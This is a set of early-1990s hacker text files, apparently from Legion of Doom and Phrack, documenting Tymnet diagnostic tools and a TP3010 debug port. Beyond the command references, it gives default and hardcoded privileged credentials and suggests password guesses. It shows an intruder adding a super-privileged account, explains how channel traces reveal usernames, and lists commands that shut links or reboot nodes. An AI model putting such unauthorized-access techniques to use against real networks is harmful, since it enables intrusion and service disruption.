MUX ‑ The Circuit Multiplexer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MUX is a tool which also runs within an ISIS slot. MUX allows the building, interconnecting, and controlling of several sets of circuits from a single terminal. Instead of logging in and out of each diagnostic tool as different commands are needed, MUX is used to create multiple concurrent circuits. Once these are set up, it is easy to switch back and forth between different diagnostic applications, WITHOUT having to logoff one before logging into another. Tymnet also likes to boast that you can chat with other users on MUX's 'Talk mode facility.' I'll stick to IRC until this catches on.

Logging into MUX is quite simple. It takes the form of:

please log in: userid <cr>

password:

NOTE: ATTN commands, see CHAR command.

ATTN ATTN Allows you to send one attention character down the circuit. ATTN C x Labels the current port, where 'x' is the label you desire. ATTN E Allows you to switch to the next port you have defined. This command however is not valid from the command mode. The circuit label is presented and connection is made. Even though the prompt for that circuit is not presented, you ARE connected.

ATTN Z Returns you to the command mode.

CHAR char Configures your ATTN character to 'char'. So in the below ATTN commands, you will have to enter your ATTN character then the proceeding character. The default ATTN Character is CTRL‑B. Personally, I like to set mine to '!'. CONNECT pl1,pl2 Connect the output of port label‑1 to port label‑2. Usually your current port label is marked with a * preceding it in a 'LIST', this is also known as a BOSS.

ENABLE pl Enables a pl's (port labels) output.

EXIT Leave MUX with all your circuits INTACT.

FLUSH pl Flush pl's (port labels) output.

FREEZE N/F Freeze (N=ON or F=OFF) current Boss.

GREETING msg Sets up the greeting message.

HEAR N/F Allow (N=ON or F=OFF) users to 'TALK' to each other. HELP Prints help messages. (ooof)

LIST Lists all active ports for the current user. (ATTN Z L) LABEL N/F Labeling (N=ON or F=OFF) of all output sent to the Boss.

MAKE Make a new circuit by logging onto a diagnostic tool. You will be prompted with the omnipresent 'Please log in:' prompt. Just login as usual for particular tool. MESSAGE Print last message.

QUIT Leave MUX and ZAP all circuits created.

SEND pl Send to pl (port label).

TALK username Talks to 'username' providing HEAR=N.

TIME Outputs date and time in format: 31Dec93 05:24 TRANSFER pl Transfers control of this BOSS to pl (port label).

ZAP pl Zap any circuits you made, where 'pl' is the port label. This command defaults to the port labeled '*' (Boss). This command is ONLY valid in command mode.

PROBE

‑‑‑‑‑

PROBE is probably one of the BEST known Tymnet diagnostic tools. PROBE is actually a sub‑program of the Supervisor. PROBE is capable of monitoring the network, and it has access to current pictures of network topology, including host tables and node descriptors. PROBE shares common memory with the Supervisor and has circuit tracing capability. PROBE can be used to check the history of nodes & links, boot a node, trace a circuit, and reset a link or shut one down. PROBE can be access directly or through TMCS (Tymnet Monitoring and Control System.)

To access PROBE from within TMCS you would enter the command:

PROBE s Where 's' is the active or 'sleeping' supervisor.

For more PROBE related TMCS commands or general TMCS commands, please refer to an appropriate source. If the demand is great enough, perhaps I will release a TMCS reference sheet in the future.

PROBE access is determined by the sum of the individual license levels granted to the user. PROBE licenses are as follows:

License Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

00 Permits view only commands ‑‑ user is automatically logged off from PROBE after 20 minutes of no activity.

04 Permits view only commands ‑‑ no automatic logoff. 20 Permits all 00 commands plus ability to effect changes to network links.

10 Permits ability to effect changes to node status.

01 Permits ability to effect changes to network supervisors. 02 Permits ability to effect changes to supervisor disks.

I do not have any hardcoded usernames for PROBE with this exception. The PROBE access username 'PROBE' is hardcoded into the supervisor, and usually each host has one hardcoded PROBE username: CONTROL ‑‑ license level 37. So in comparison with the above chart, CONTROL has Gh0d access to PROBE commands, because everything added up equals 37 (duh). On many subnets, the username RPROBE has similar access.

PROBE COMMANDS

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

CHANGE 00/04 Changes your PROBE personal password.

EXI 00/04 Logout.

HELP 00/04 Help. (Temple of Sub‑Genius)

SEND x text 00/04 Sends message to Probe user whose job label is 'x'. VERSION 00/04 Lists current software version number.

WHO 00/04 Lists currently logged in PROBE users. (Useful)

DISPLAY CMDS:

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

ACCT 00/04 Displays # of accounting blocks on Supervisor disk available for RAM session record data.

AN 00/04 Displays detailed information about active nodes. ASTAT 00/04 Displays number of login and circuit building timeouts.

AU 00/04 Displays node numbers of ALL active nodes that are up. CHAN x 00/04 Displays port number used by Supervisor for command circuit to node 'x'.

COST x 00/04 Displays cost of building command circuit to node 'x'. CSTAT 00/04 Displays time, login, rate, and network status every 15 seconds.

EXC O|S|P 00/04 Displays links that are overloaded (O), or shut (S), or out of passthroughs (P).

HOST x 00/04 Displays information about host 'x' or all hosts. LACCT 00/04 Displays number of last accounting block collected by RAM session record data.

LRATE 00/04 Displays Supervisor login rate in logins per min. LSHUT 00/04 Displays shut links table.

LSTMIN 00/04 Displays circuit status information gathered by Supervisor during preceding minute.

N x 00/04 Displays status info about node 'x'.

OV x 00/04 Displays overloaded links.

PERDAT 00/04 Displays Supervisor performance data for preceding min. RTIME 00/04 Reads 'Super Clock' time and displays year, and Julian date/time.

STAT 00/04 Displays network status information.

SYS 00/04 Displays host number running PROBE.

TIME 00/04 Displays Julian date and network time. TSTAT 00/04 Displays same information as STAT, preceded by Julian date/time.

VERSION 00/04 Displays current versions of PROBE and Supervisor software.

WHO 00/04 Displays active PROBE users and their job labels.

LOG MESSAGE CMDS:

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

LOG 00/04 Outputs network information from Supervisor log. REPORT 00/04 Controls output of node reports.

RLOG m1..m4 00/04 Restricts log output to up to four message numbers. M1‑ 1st Message, M2‑ 2nd Message, etc. RNODE n1 n2 00/04 Restricts log output to messages generated at nodes N1 and N2.

NETWORK LINK CMDS:

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

CSTREQ n1 n2 20 Requests total speed of all lines on specified link. (n1= 1st Node n2= 2nd Node)

ESHUT n1 n2 20 Shuts specified link and enters it on shut links table. (n1= 1st Node n2= 2nd Node) PSTAT n Hhost p 20 For node 'n', displays status of logical ports for port array 'p' on 'host'. Note the capital 'H' must precede the host specific. RSHUT n1 n2 20 Opens specified link and removes it from shut links table.

SYNPRT n 20 Displays status of async ports on node 'n'. TRACE n Hhost p 20 Traces specified circuit. Where 'n' is node, or n Sp 20 'host' is HOST, and 'p' is port. Or for secondary command: 'n' node name, 'p' port. Again, 'S' must precede the port name.

T2BORI n1 n2 20 Resets communication channel between node n1 and node n2.

NETWORK NODE CMDS:

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

CLEAR n 10 Opens all links on node 'n'.

DLOAD n 10 Causes node 'n' to execute its downline load bootstrap program.

NSHUT n 10 Shuts all links on node 'n'.

RETAKE n 10 Causes Supervisor to release and retake control of node 'n'.

SPY 10 Displays last 32 executions of selected commands.

NETWORK SUPERVISOR CMDS:

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

AWAKE 01 Wakes a sleeping Supervisor. (Only one Supervisor is active at one time, however there can be supervisors 'sleeping'.)

CLASS 01 Causes Supervisor to read Netval class and group definitions.

DF s 01 Increases Supervisor's drowsiness factor by 's' seconds. ETIME 01 Sets time known to Supervisor.

FREEZE 01 Removes Supervisor from network.

PSWD 01 Displays password cipher in hex.

SLEEP 01 Puts active Supervisor to sleep.

THAW 01 Initializing frozen Supervisor.

TWAKE 01 Wakes sleeping Supervisor, automatically puts active Supervisor to sleep and executes a CSTAT command.

USER UTILITY CMDS:

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

ENTER 01 Adds/deletes/modifies Probe usernames.

HANG x 01 Logs off user with job label 'x'.

LIST 01 Displays Probe usernames.

ULOGA 20 Enters user‑generated alphabetic message in msg log. ULOGH 20 Enters user‑generated hex message in msg log.

SYSTEM MAINTENANCE / DISASTER RECOVERY CMDS:

Command Lic. Lvl Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

DCENT n1 n2 02 Allows Tymnet support temporary, controlled access to a private network. (Useful)

DCREAD 02 Reads current value of password cipher associated with DCENT username.

FTIME +/‑ s 02 Corrects the 'Super Clock' by adding (+) or subtracting (‑) 's' seconds from it. INITA 02 Initializes accounting file to all zeros. INITL 02 Initializes log to all zeros.

NOTE: Each PROBE is a separate entity with its own files. For example, if you shut lines in the PROBE on the active Supervisor, this will NOT be known to the sleeping PROBE. If another Supervisor takes over the network, it will not consider the link to be shut. Likewise, PROBE password changes are made only to one PROBE at a time. To change your password everywhere, you must do a CHANGE in each probe.

LOAD‑II

‑‑‑‑‑‑‑

LOAD‑II is probably one of the LEAST known of Tymnet's utilities. LOAD‑II is used to load or dump a binary image of executable code for a node or slot. The load/dump operation can be used for the ENTIRE engine, or a specific slot.

Upon reaching the command prompt you should enter:

R LOADII <cr>

This will initiate an interactive session between you and the LOAD‑II load/dumping process. The system will go through the following procedure:

TYMNET OUTPUT YOUR INPUT WHAT THIS MEANS TO YOU

‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑

Enter Function: G 'G' Simply means identify a gateway Enter Gateway Host: #### This is the 4 digit identifier for hosts

on the network. I know that 2999 is for

'MIAMI'.

Password: LOAD This is the default password for LOAD‑II. Function: C 'C' for crash table dump, OR D 'D' to dump an entire engines contents, OR L 'L' to load an entire engines contents, OR S 'S' to load a slot, or U 'U' to dump a slot.

Neighbor Node: #### Selects neighbor node number. Neigh. Kern. Host#: ### This 3‑digit code is derived by adding the

first two digits of the node number and

appending the last two digits to that sum.

Line # to Load From: ## Use the line number coming off the

neighbor node, NOT the node that is DOWN.

Object File Name: File used to load/dump node or slot from/to. EXIT EXI Send program to end of job.

TOM ‑ TYMCOM Operations Manager

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TOM is utility which runs under TYMCOM. Quickly, TYMCOM is an interface program for the host computer which imitates multiple terminals. Quoting from Tymnet, "TYMCOM has multiple async lines running to the front‑end processor of the host." So in other words, TYMCOM has a bunch of lines tied into the engine's front‑end, allowing a boatload of jobs/users to access it.

TOM is primarily used with TYMCOM dialup ports. It is used to DOWN and then UP hung ports. This type of situation may occur after a host crash where users are getting a 'Host Not Available' error message. TOM can also be used to put messages on TYMCOM in order to alert users to problems or when scheduled maintenance will occur on various hosts/ports. To login type:

##TOM##:xxxx

Where 'xxxx' is the appropriate host number you wish to 'work' on. After proper hostname is given, you will then be prompted for a password. As I have none of these to give, play on 3‑5 character combinations of the words: TYMCOM, TOM, HIF, OPMNGR.

Command Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

GRAB TOMxxxx This should be the FIRST thing you do when down/upping a host. Gets license for up or down host, then prompts for password of host. Where 'xxxx' is the host number. You must have privileged status to use.

CHANGE xxxx Change a host number to 'xxxx'.

DIAGNOSTICS Turns the diagnostic messages off or on.(Toggle) DOWN P xx Take DOWN port number 'xx', or

H xxxx Take DOWN host number 'xxxx'.

ENQUIRE Lists information about the node and slow where TYMCOM is running.

EXIT Logout.

MESSAGE Sets text to be output to the terminal when a user logs in.

SHUT H xxxx Disallow new logins to a specified host = 'xxxx', or P xx Disallow new logins to a specified port = 'xx'. SPEED xxxx Specifies the baud rate at which a port will communicate. STAT P xx‑yy Shows status of port numbers 'xx' through 'yy'. Either one or a number of ports may be specified.

TIME Displays the current time.

TO x message Sends 'message' to specified user number 'x'.

UP P xx Bring UP port number 'xx', or

H xxxx Bring UP host number 'xxxx'.

WHO Lists user numbers of all users currently logged into TOM.

XRAY

‑‑‑‑

XRAY is another one of the very well known commands. XRAY is a program which sits within node code and waits for use. Its used to gain information about a specific node's configuration and its current status in the network. It can be used to determine the probable reason for a crash or line outage in order to isolate bottlenecks or track down network anomalies.

XRAY user licenses are all assigned a logon priority. If every XRAY port on a node are in use, and a higher priority XRAY username logs in, the lowest priority username will be logged out.

License Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

2 Permits the writing and running of disruptive node tests. 1 Permits the running of non‑disruptive node tests.

0 Permits view only commands.

The following list is a compilation of some hardcoded 'good‑guys'.

LICENSE LEVEL PRIORITY GOOD GUY USERNAME ACTIVE/PASSIVE NETWORK IMPACT

============= ======== ===============

2 98 XMNGR Active MAJOR 2 98 ISISTECX Active MAJOR

2 97 XNSSC Active MAJOR

1 50 TNSCMX Active Minor 1 50 TNSUKMX Active Minor

1 40 XSOFT Active Minor 1 40 XEXP Active Minor 1 40 XCOMM Active Minor 1 40 XSERV1 Active Minor

0 50 XRTECH Passive

0 30 XTECH Passive

0 30 XOPPS Passive

0 30 XSERV Passive

0 0 XRAY Passive

What follows is a VERY brief command summary.

Command Description

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

CD Displays current auto/display mode for CRYPTO messages. CD Y|N Turns ON/OFF automatic display of CRYPTO messages. CL n Display the last 'n' CRYPTO messages.

CRTL Z Logout.

BT Causes the SOLO machine to go into boot. Audited command.

DB Used to build and measure link delay circuits between nodes. The DB command prompts for a node list. IENODE LIST: <node #1 node#2 ... node#x>

DD Displays link measurement data for circuit built by the DB command. Verifies that the circuit has been built. DE Used to terminate the DB command.

HT Puts the node code into a STOP state. This command shows up in audit logs.

KD n Display link descriptor parameters where 'n' is the neighbor number.

KS n Display link performance statistics (link delay, packetmaking, bandwidth utilization, etc.)

ND Displays information about the configuration of a node and its neighbors.

NS option Displays parameters for estimating node work load. Options: ‑EXCT is the current load factor or execute count. A count of less than 60 means the load is heavy. ‑EXLW is the lowest EXCT value computed since startup. ‑EXHW is the highest EXCT value computed.

SN Restarts the node, command audited.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope this file gave you a better understanding of the Tymnet network. While a lot of the commands make sense only if you've had prior Tymnet experience, I hope my summaries of each tool gave you a little better understanding of the network. I am available for questions/comments/gripes on IRC, or I can be reached via Internet mail at:

pfalken@mindvox.phantom.com

Thanks goes out to an anonymous hippy for providing the extra nudge I needed to sit down and write this phile. NO thanks goes out to my lousy ex‑roommates who kicked me out in the middle of this article. Their day is approaching.

Be careful everyone...and remember, if you have to explore the mysterious fone/computer networks, do it from someone else's house.

‑ Professor Falken

= Legion of Doom!

A User's Guide to XRAY

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 6 of 14

A User's Guide to XRAY

By N.O.D.

This file was made possible by a grant from a local McDonnell Douglas Field Service Office quite some 'tyme' ago. This was originally written about version 4, although we are pretty sure that BT has now souped things up to version 6. Everything still seems the same with the exception of a few commands, one of which we will point out in particular.

Any comments/corrections/additions/updates or subpoenas can be relayed to us through this magazine.

XRAY is a monitoring utility that gives the user a real‑time window into a Tymnet‑II node. Used in tandem with other utilities, XRAY can be a very powerful tool in monitoring network activity.

In this file we will discuss key features of XRAY and give command formats for several commands. Some commands are omitted from this file since they can only be used from dedicated terminals. Several others are likewise omitted since they deal with the utilization of XRAY in network configuration and debugging the actual node code, and would probably be more damaging than useful, and commands to reset circuits and ports are similarly missing.

ACCESS

The most obvious way to access XRAY is to find the username/password pair that either corresponds to the host number of an XRAY port, or is otherwise in the goodguy list of a particular node.

XRAY can also be accessed through the DDT utility by typing

?STAT

Either will respond with the following

**X‑RAY** NODE: XXX HOST: ZZZ TIME: DD:HH:MM:SS

If all ports are currently in use the user will only be allowed access if his/her is of greater precedence in the goodguy list than that of someone previously online. In such a case, that user will be forcibly logged out and will receive the following message:

"xray slot overridden"

Otherwise the user will see:

"out of xray slots"

XRAY users are limited in their power by the associated "licence" level given them in the XRAY goodguy list. The levels are:

0 ‑ normal

1 ‑ privileged

2 ‑ super‑privileged

There are several user names associated with the

XRAY utility. These exist on almost any network utilizing the Tymnet‑II style networking platform.

PRIORITY USERNAME

2 XMNGR

2 ISISTECX

2 XNSSC

1 TNSCMX

1 TNSUKMX

1 XSOFT

1 XEXP

1 XCOMM

1 XSERV1

0 XRTECH

0 XTECH

0 XOPPS

0 XSERV

0 XRAY

COMMANDS with parameters in <brackets>

HE Help

Use this command to display the commands available for that particular node.

GP Get power <security string>

This command allows the user to move up to the maximum security level allowed by his username, as specified in the good guy list.

XG Display and/or modify XRAY goodguy list <entry number> <P/M>

This command without parameters will display the XRAY goodguy list. When added with an entry number and 'P' (purge) or 'M' (modify), the user can edit the contents of the table. The XGI command will allow the user to enter a new entry into the list. Any use of XG or XGI to alter the list is a super‑privileged command and is audited.

>XG

XRAY GOODGUY LIST

NO. PRIV OVER NAME

‑‑‑‑ ‑‑‑‑ ‑‑‑‑ ‑‑‑‑

0001 0002 00FF TIIDEV

0002 0001 0030 RANDOMUSER

0003 0000 0000 XRAY

>XGI

ENTER UP TO 12 CHARACTERS OF USERNAME

NOD

ENTER NEW PRIVILEGE AND OVERRIDE ‑ 2,FF

>XG

XRAY GOODGUY LIST

NO. PRIV OVER NAME

‑‑‑‑ ‑‑‑‑ ‑‑‑‑ ‑‑‑‑

0001 0002 00FF TIIDEV

0002 0001 0030 RANDOMUSER

0003 0000 0000 XRAY

0004 0002 00FF NOD

BG Display and/or modify Bad Guy List <node number> <R/I>

This command when entered without any parameters displays the "bad guy" list. When used with a node number and 'R' it will remove that node from the list, and 'I' will included. The 'R' and 'I' features are privileged commands and usage is noted in audit trails.

>BG

2000 701 1012

>BG 2022 I

2022 2000 701 1012

HS Display host information

ND Display node descriptor

This command displays information about the node and its network links.

NS Display node statistics

This command displays various statistics about the node including time differentiations in packet loops, which can then be used to determine the current job load on that particular node.

KD Display link descriptor <linked node>

This command displays the values of the link to the node specified. This is displayed with columns relating to type of node (TP), speed of the link (SP), number of channels on the link (NCHN), etc..

KS Display link statistics <up to 8 node numbers>

This command provides a report on various factors on the integrity of the link to the given node(s), such as bandwidth usage, packet overhead, characters/second transmitted, delays in milliseconds, etc.

BZ "Zap" link to node <node number>

This command will cause the link to the specified node to be reset. This command is privileged and is audited. If the node "zapped" is not currently linked a "??" error message will be displayed.

TL Set/Reset trace on link <node number>

TN Set/Reset trace on line <node number>

TM Display trace events <B(ackground) / F(oreground)>

These commands are used to display activity between two active nodes.

AC Display active channels <starting channel> <range of channels>

This command will display all active channel numbers for the given range starting at the given channel number. Range is in hex.

QC Query channel status <channel number>

This command displays information about the given channel, including throughput speed, source and output buffer size and address location.

TC Enable/disable data trace on channel <channel number> <0/1>

This command with no arguments displays the channels that are being diagnosed by the trace. The command with a channel number and a '1' will enable data trace for that channel, and a '0' will disable trace on that channel. Enabling or disabling trace is a privileged command.

TD Display channel trace data in hex <count> <I/O>

TE Display channel trace data in hex including escapes <count> <I/O> TA Display channel trace data as ASCII <count> <I/O>

With these commands trace data is displayed for a specified time count. A prefixed 'I' or 'O' will show input or output data. The default is both.

>ta 5

I/O CHN TIME

OUT 0040 ECC5 \86\86\0F\00\8A\80h\80\8CS\83valinfo; IN 0040 EC87 \00\09\86\86\0D\08\00\00h

OUT 0040 0F67 \86\86\0E\00\880\8D

IN 0040 1029 \00,\86\86\09\86\00\00\90\1B\19\80 \06\86\00\00h \15\1B\08J\04\0B\04\0F\04=\0DR\80JS\80\80 \8CVALINFO\8D

OUT 0040 102F \86\86\14\89p\90\1B\19\86\86\14\89j\18\15\13

**Note: Although this will allow one to follow the network connections on specific channels, password data is filtered out. As you can see from the above example, usernames are not. Many usernames do not have passwords, as you all know. **

On more recent versions of XRAY a similar command "DR" performs a similar function to the trace commands, but shows both hex and ascii of the data in memory registers of the node.

>DR

I NOS 0001 A0 *

I SND 0001 A1 * !

I DTA 4920 616D 2061 6E20 6964 696F 7420 6265 *I am an idiot be* 0002 9D63 6175 7365 2049 206C 6566 7420 * cause I left * 6D79 7365 6C66 206C 6F67 6765 6420 696E *myself logged in* 2061 6E64 2077 656E 7420 686F 6D65 2E0D * and went home. * 6F70 7573 2520 0D0A 0D0A 0D0A 0D0A 0D0A *opus% *

BS Display bufferlet use statistics

This command shows the current and past usage of the memory allocated to data buffering. This shows total usage, total peak usage, and available buffer size.

RB Read buffer <buffer index>

This command displays the entire contents of the given buffer. This is a privileged command and its use is not primarily for user circuits. Primarily.

>RB 69

50 61 72 74 79 20 6F 6E 20 64 75 64 65 21 21 21

WB Write buffer <buffer index>

This command writes up to seven bytes into the specified buffer. The buffer must greater than 4. This is also a privileged command.

CD Set/reset CRYPTO auto display mode <Y/N>

CL Display CRYPTO log <number of minutes>

CM Display CRYPTO messages by type

SM Enable/Disable CRYPTO messages by type

CRYPTO messages are informational messages about the activity of the node. Up to 256 such entries are stored in a circular buffer to record this activity. You can turn on automatic reporting of these messages with the CD command prefixed with a 'Y' for on and 'N' for off. Certain message types that become bothersome can be disabled with the SM command and the message type.

DB Begin delay measurement

DD Display delay measurement statistics

DE Terminate delay measurement

DL Begin data loopback circuit

These commands are used to build circuits for testing the speed and integrity of data flow between two nodes. The DL command is super privileged and only one such circuit can be built on a node at a given time. The data traffic generated by the DL is for diagnostic use only and can be monitored by viewing node and link statistics.

PM Measure performance on a channel <channel number>

This command measures the performance of a given channel by inserting a timing sequence into the packet stream. Once it has reached the given channel it is returned and a value corresponding to the total time elapsed in milliseconds is displayed. If the channel is not active, or no response is returned in 8 seconds the message "BAD CHANNEL OR TIMEOUT" is displayed.

LE Set local echo mode

RE Set remote echo mode

One would use the set local echo command if the XRAY terminal is not echoing commands typed by the user. By default, XRAY does not echo output.

SUMMARY

XRAY is pretty confusing. Be careful with what you are doing since you are essentially prodding around in the memory of the node. Think of it in terms of using a utility to poke and prod the memory of your own computer. Think of how disastrous a command written to the wrong portion of memory can be. Don't do anything stupid, or you might bring down a whole network,

Useful Commands for the TP3010 Debug Port

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 8 of 14

USEFUL COMMANDS FOR THE TP3010 DEBUG PORT

BY G. TENET

ALL OF THE COMMANDS LISTED BELOW, INDICATE A LENGTH IN ALL THE READ COMMANDS. THE LENGTH OF THE READ COMMANDS MAY VARY DUE TO CONFIGURATION OPTIONS AND SOFTWARE VERSION.

1) L7FE,L,A,R200

THIS COMMAND STRING WILL LOAD '7FE' INTO THE MEMORY POINTER REGISTER THEN LOAD THE CONTENT OF '7FE' AND '7FF' INTO THE MEMORY POINTER REGISTER. THE 'A' THEN INCREMENTS THE CONTENTS OF THE MEMORY POINTER REGISTER. THE 'R200' COMMAND THEN READS 200 BYTES BEGINNING AT THE LOCATION SPECIFIED BY THE MEMORY POINTER REGISTER. THIS AREA IS USED FOR STORING THE LOADED CONFIGURATION. DUE TO THE VARIABLE NATURE OF THE CONFIGURATION RECORDS, THE READ COMMAND MAY HAVE TO BE MODIFIED DEPENDANT ON THE NUMBER OF LINES DEFINED, THE TYPE OF LINES DEFINED (X780,3270) AND THE TYPE OF SOFTWARE LOADED (4.2X OR 5.0X).

2) LC4,R3,LCC,R3 (4.2X SOFTWARE)

L124,R3,L131,R3 (5.0X SOFTWARE)

THIS COMMAND STRING WILL DISPLAY THE BUFFER MANAGER CONTROL BLOCK AREA WHICH HAS BUFFER COUNTS WHICH MAY SUGGEST POSSIBLE PROBLEMS.

3) L32C,R (4.2X SOFTWARE)

L29C,R (5.0X SOFTWARE)

THIS COMMAND STRING WILL DISPLAY THE NUMBER OF ACTIVE VC'S IN THE TP3 AT THAT MOMENT.

IF THIS COMMAND IS USED VIA THE LOCAL CONSOLE, THE VC COUNT WILL NOT INCLUDE THE USER CONNECTION BECAUSE THERE WILL BE NO VC ON THE X.25 LINE FOR THE LOCAL CONSOLE.

4) L70,R60

THIS COMMAND STRING WILL DISPLAY THE LCB (LINE CONTROL BLOCK) POINTER FOR THE CONFIGURED LINES.

THE ORDER THAT THE LCB POINTERS ARE ENTERED ARE: CONSOLE LCB, X.25 LCB, LINE 1, LINE 2, LINE 3...LINE27. ANY ZERO ENTRY IS AN UNCONFIGURED LINE EACH LINE ENTRY IS TWO BYTES LONG.

5) L300,L,R20 (4.2X SOFTWARE)

L270,L,R20 (5.0X SOFTWARE)

THIS COMMAND STRING WILL DISPLAY THE LCN VECTOR TABLE. THE ENTRIES ARE FOR EACH ACTIVE LCN BEGINNING WITH LCN 0 THRU THE HIGHEST CONFIGURED LCN. A 0000 ENTRY FOR AN LCN WILL INDICATE THAT THE LCN IS NOT ACTIVE. A NON ZERO ENTRY WILL POINT TO THE DCB (DEVICE CONTROL BLOCK) OF THE ASSOCIATED LINE/DEVICE.

6) L1F1,L,R20 (4.2X SOFTWARE ONLY)

THIS COMMAND STRING WILL DISPLAY THE PROTOCOL ID TABLE FOR THE CONFIGURED/SUPPORTED PROTOCOLS. THE FORMAT OF THE OUTPUT

IS:

999999999999...

‑‑ ‑‑‑‑

! ‑‑ ! ‑‑‑‑

! ! ! !...............POINTER TO THE SERVER TABLE *****

! ! !...................POINTER TO THE PROTOCOL SERVICE ROUTINE

! !......................PROTOCOL ID NUMBER

! 01 =ITI (RITI AND LITI)

! 4B =X780

! 47 =NAP 3270

! 09 =DEBUG

!........................NUMBER OF ENTRIES IN THIS TABLE

7) L(ADDRESS OF THE SERVER TABLE),R20

THE ADDRESS OF THE SERVER TABLE IS FOUND IN #6 (ABOVE) THIS COMMAND WILL DISPLAY THE SERVER TABLE IN THE FORMAT:

99999999...

‑‑ ‑‑‑‑

! ‑‑ !................ THIS IS THE ADDRESS OF THE FIRST FREE DCB

! ! IN THE FREE DCB LIST. IF 0000 THEN THERE ARE

! ! NO FREE DCB'S FOR THIS SERVER AND PROTOCOL.

! !.....................SERVER NUMBER

!.......................NUMBER OF ENTRIES IN THIS TABLE

THE POINTER IN THIS TABLE , IF PRESENT, WILL POINT TO THE NEXT AVAILABLE DCB. WITHIN THE DCB, THERE IS A POINTER AT DISPLACEMENT 18 AND 19 WHICH WILL POINT TO THE NEXT FREE DCB. THE LAST FREE DCB WILL HAVE A POINTER OF 0000.

THE FOLLOWING COMMANDS ARE USED WITHIN THE TP3 DEBUG PORT TO PERFORM THE INDICATED ACTIONS. ONLY THE TP3325 WILL SUPPORT THE [# LPU NUMBER] OPTIONS. THE USE OF THE [# LPU NUMBER] OPTION IS ONLY REQUIRED IF YOU WISH TO ADDRESS A DIFFERENT LPU NUMBER; EXCEPT FOR THE 'S' COMMAND WITH WHICH THE LPU MUST BE DEFINED.

A SPACE CHARACTER MAY BE INCLUDED IN THE COMMAND AND THE COMMANDS MAY BE STACKED (EXAMPLE: L7FE ,L,A,R5,L#2,L 7FE,L,A,R5,L#3 7FE,L,A,R 5).

THE TP3325 COMMANDS THAT DO NOT USE THE 'LPU' PARAMETER USE THE LAST ASSIGNED LPU NUMBER. (EXAMPLE: L#27FE,R2,L#17FE,R4)

THE FIRST LOAD COMMAND ADDRESSES LPU 2 AND THE NEXT LOAD COMMAND ADDRESSES LPU 1. THE READ OF TWO BYTES IS READING FROM LPU 2 AND THE READ OF FOUR BYTES IS READING FROM LPU 1.

A VALUE

INCREMENTS THE MEMORY ADDRESS POINTER. (EXAMPLE: A5 OR AFFE2 OR A#2EF)

B VALUE

USED TO ENTER OR EXIT BINARY MODE. (EXAMPLE: B01 OR B00)

C [# LPU NUMBER] VALUE USED TO WARM OR COLD START A TP3325 LPU (EXAMPLE: C00 OR C#300)

OR

USED TO WARM OR COLD START OTHER TP3. (EXAMPLE: C01 OR C#201)

D VALUE

USED TO DECREMENT THE MEMORY POINTER. (EXAMPLE: D18 OR DFFE5 OR D#4IFF)

E STRING

USED TO CHECK FOR A EQUAL COMPARE OF MEMORY DATA. (EXAMPLE: E00 OR E0F0304 OR E#20000)

F STRING

USED TO FIND THE FIRST OCCURRENCE OF A STRING. (EXAMPLE: F0F0304 OR F08080202 OR F#308080404)

G [# LPU NUMBER] VALUE USED TO FIND THE ADDRESS OF A CONFIGURATION FILE IN MEMORY. THE LPU DEFINITION IN THE COMMAND DOES NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT. (EXAMPLE: GFE OR G01 OR G#301)

I [# LPU NUMBER]

USED TO OBTAIN A LIST OF THE CONFIGURED LINE TYPES. (EXAMPLE: I OR I#3)

K [# LPU NUMBER] [14 DIGIT ADDRESS] USED TO OBTAIN THE LCB, ADDRESS TABLE POINTERS AND LINE NUMBER ASSOCIATED WITH THE ADDRESS. (EXAMPLE: K31102120012301 OR K#2 311021250212)

N STRING

USED TO CHECK FOR AN NON EQUAL COMPARISON. (EXAMPLE: N0F0304 OR N08080202 OR N#1 0F)

P [# LPU NUMBER] PORT NUMBER USED TO READ THE CONTENTS OF A SPECIFIC PORT REGISTER. (EXAMPLE: P45 OR P21 OR P#4 21)

R VALUE

USED TO READ MEMORY DATA. THE QUANTITY IS INDICATED BY THE 'VALUE'. (EXAMPLE: R18 OR R200)

S [# LPU NUMBER] LINE NUMBER USED TO OBTAIN DATA SET SIGNALS FOR THE DEFINED LINE NUMBER.

(EXAMPLE: S1 OR S#23 OR S)

T (TP3325 ONLY)

W STRING

USED TO WRITE DATA INTO MEMORY. (EXAMPLE: W0E0304 OR W08080707)

X [# LPU NUMBER]

USED TO DISPLAY THE DIFFERENCE BETWEEN THE STORED CHECKSUM AND A CALCULATED CHECK SUM OF THE OPERATING SOFTWARE. THE LPU DEFINITION DOES NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT. (EXAMPLE: X OR X#2)

